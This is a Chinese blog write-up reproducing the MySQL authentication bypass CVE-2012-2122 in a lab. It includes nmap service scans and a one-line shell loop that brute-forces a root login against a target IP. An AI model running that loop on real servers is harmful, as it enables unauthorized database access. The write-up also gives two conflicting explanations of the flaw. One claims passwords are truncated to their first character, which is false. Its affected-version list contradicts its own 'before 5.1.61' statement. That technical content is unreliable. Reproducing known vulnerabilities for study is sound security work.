mysql身份认证绕过漏洞复现(CVE-2012-2122)

  1. mysql身份认证绕过漏洞复现(CVE-2012-2122)
    1. 漏洞原理
    2. 漏洞复现

mysql身份认证绕过漏洞复现(CVE-2012-2122)

漏洞原理

MySQL 5.1.61 之前

这个漏洞的细节涉及到 MySQL 服务器中的加密方式和验证流程。在 MySQL 5.1.61 之前的版本中,当用户使用带有非 ASCII 字符(如空格或其他特殊字符)的密码进行登录时,MySQL 服务器会截断密码,并仅使用第一个字符进行验证。这就意味着,如果用户提供了一个以正确字符开头的密码,后面跟着任意字符的字符串,即使后续字符错误,MySQL 服务器仍然会认为密码是正确的,并允许用户登录。

例如,假设用户的密码是 “password”,但是攻击者提供的密码是 “p\x00assword”(\x00 是空字符),在此情况下,MySQL 服务器会截断密码,并只使用 “p” 进行验证,因此无论后面的部分是什么,都会认为密码是正确的。


而这个漏洞允许攻击者绕过密码验证,以任何用户身份登录到 MySQL 服务器,并执行未经授权的操作。当连接MariaDB/MYSQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即使是memcmp()返回一个非零值,也会使MYSQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能直接登录MySQL数据库。

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6
1
2
3
4
5
6
7
8
9
10
11
MySQL 在特定版本中,密码认证逻辑依赖 memcmp() 函数来比对密码哈希。但某些平台或编译器(如 GCC 编译的 Linux x86_64)优化后返回值未严格为 0 或非 0,而是返回正负整数

错误的核心是:
if (!memcmp(user_input_hash, stored_hash, 20))
{
// 登录成功
}

原意是“如果两个哈希相等(返回值为 0)则通过”,但编译优化或符号扩展可能让返回值表现不稳定,导致错误判断

于是只要攻击者足够频繁地发送错误密码,在特定概率(大约 1/256)下,memcmp 返回的非零值可能被误判为 “密码正确”,从而通过认证

漏洞复现

首先使用kali中提供的工具nmap对这个目标进行简单扫描

1
nmap 192.168.234.128

可以看到3306端口的开放,3306端口是MySQL的默认端口,而22是ssd端口,提供远程登录,这里没看到开放。按照思路,可以尝试远程爆破登录MySQL,也就是跑弱口令了,方法和爆破ssh一样,先看一下MySQL是哪个版本的,是否存在漏洞。

使用nmap工具

1
nmap 192.168.234.128 -sV

使用-sV(启用版本检测)参数扫描出MySQL版本为5.5.23,这个版本存在”Mysql身份认证绕过漏洞(CVE-2012-2122”

使用shell语句爆破

1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.234.128 -P 3306 ; done

爆破多次即绕过身份验证,成功登录数据库,复现成功


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github